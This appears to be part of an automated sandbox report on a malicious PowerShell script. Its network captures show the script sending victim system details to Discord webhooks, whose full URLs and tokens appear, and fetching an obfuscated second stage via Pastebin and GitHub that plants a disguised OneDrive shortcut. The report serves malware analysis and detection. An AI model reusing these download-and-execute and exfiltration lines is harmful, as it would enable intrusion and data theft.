2024-10-15 16:08:27 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
2024-10-15 16:08:27 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49775	162.159.138.232	443	6648	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:27 UTC	311	OUT	POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 215 Connection: Keep-Alive
2024-10-15 16:08:27 UTC	215	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 2a 2a 66 72 6f 6e 74 64 65 73 6b 2a 2a 20 68 61 73 20 6a 6f 69 6e 65 64 20 2d 20 46 48 35 5c 6e 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 36 48 4b 47 5a 42 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 22 0d 0a 7d Data Ascii: { "content": "user has joined - FH5\n----------------------------------\nGPU: 6HKGZB\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4"}
2024-10-15 16:08:27 UTC	1251	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 16:08:27 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729008509 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=imyMIeHTEUKrovK9QjsYTPhziEcFHvbCRUmlHJ04Sdmlni2azLULDXKhTQkqtByBt2d%2BDgG9HPAIrcuLyL3JBGB3bLQkl2IhNuZitGsHxCfOPpeMjmsew252GVSl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=79c012eaf9029fed6f4174fc912d62fc9df2f131-1729008507; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=NRZYuviVxKznP8b._.zmL4nobhKDT8sSIL_kl3WgFCM-1729008507935-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d311165fb836c3d-DFW
2024-10-15 16:08:27 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49810	104.20.3.235	443	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:34 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 16:08:34 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 16:08:34 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 633 Last-Modified: Tue, 15 Oct 2024 15:58:01 GMT Server: cloudflare CF-RAY: 8d31118ff88be9b9-DFW
2024-10-15 16:08:34 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 16:08:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49821	185.199.109.133	443	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:35 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 16:08:36 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "3c1076fda9d7a9f1de3ceb011a6f68a3886388e35b154b66990b49e988bc5cbd" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 47F7:29E79C:808B02:8D3F30:670E7B3C Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:36 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210072-DFW X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1729008516.045638,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: eab2a342711277d383aefab66267ea15291ef5d0 Expires: Tue, 15 Oct 2024 16:13:36 GMT Source-Age: 215
2024-10-15 16:08:36 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 16:08:36 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: ,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 16:08:36 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 16:08:36 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
2024-10-15 16:08:36 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
2024-10-15 16:08:36 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49852	162.159.138.232	443	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:41 UTC	311	OUT	POST /api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewva-6hqlEBSmLu1WVR5cEN5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 300 Connection: Keep-Alive
2024-10-15 16:08:41 UTC	300	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 66 72 6f 6e 74 64 65 73 6b 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 36 48 4b 47 5a 42 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 Data Ascii: { "content": "================================\nuser system online\n\nGPU: 6HKGZB\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC
2024-10-15 16:08:42 UTC	1259	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 16:08:41 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729008523 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gCDeVYfG8MOB0FTSV0UaeFLhjp7PDyjKfLCFzNYSi2LWR1vejx2IA%2FAKTlNsTQA%2BFioU%2FubTwFF92vNbWie4qWxEDWEb3XGiD%2B7wz99RzoTzgAB%2FBWI1Mjq0sZc5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=bd1d45b24ccd9896b6e9876f8b878c373fe51f19-1729008521; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=XJWZftbrpRr34.ddkGfOILwNBMWYYtEwVHX6y4K6hok-1729008521994-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d3111bddf3ea915-DFW
2024-10-15 16:08:42 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49889	162.159.138.232	443	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:49 UTC	311	OUT	POST /api/webhooks/1295751966227566694/ZDOwsWbEeGMPmjLUQsSudsSfhqvBoNBR93K3nrkS5aL7Ewva-6hqlEBSmLu1WVR5cEN5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 300 Connection: Keep-Alive
2024-10-15 16:08:49 UTC	300	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 66 72 6f 6e 74 64 65 73 6b 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 36 48 4b 47 5a 42 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 2a 2a 55 41 43 3a 2a 2a 20 4d 61 78 69 6d 75 6d 20 55 41 43 20 Data Ascii: { "content": "================================\nuser system online\n\nGPU: 6HKGZB\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\nUAC: Maximum UAC
2024-10-15 16:08:49 UTC	1253	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 16:08:49 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729008530 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bmW9a6ZzW6OZtWv4mx158Rhhm7zAR9pDtYeqopVf8louXs4yLTmZHQ3cLwwS7oNaoxDob4YR9htr06zB%2FyJ9p2MobYR1zHRVImJaIGYUR%2FPWoxMFRUpeN1GBuLjA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=0968388ccef6ec26a57a8a0fca07deaa13e0c211-1729008529; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=Zg1_cvnTkrEezowrmdGcWuRIEpyS1qc_JH3ww76STdM-1729008529315-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d3111eb984d6be9-DFW
2024-10-15 16:08:49 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Target ID:	1
Start time:	12:08:04
Start date:	15/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:08:04
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:08:07
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"
Imagebase:	0x7ff744f20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:08:08
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
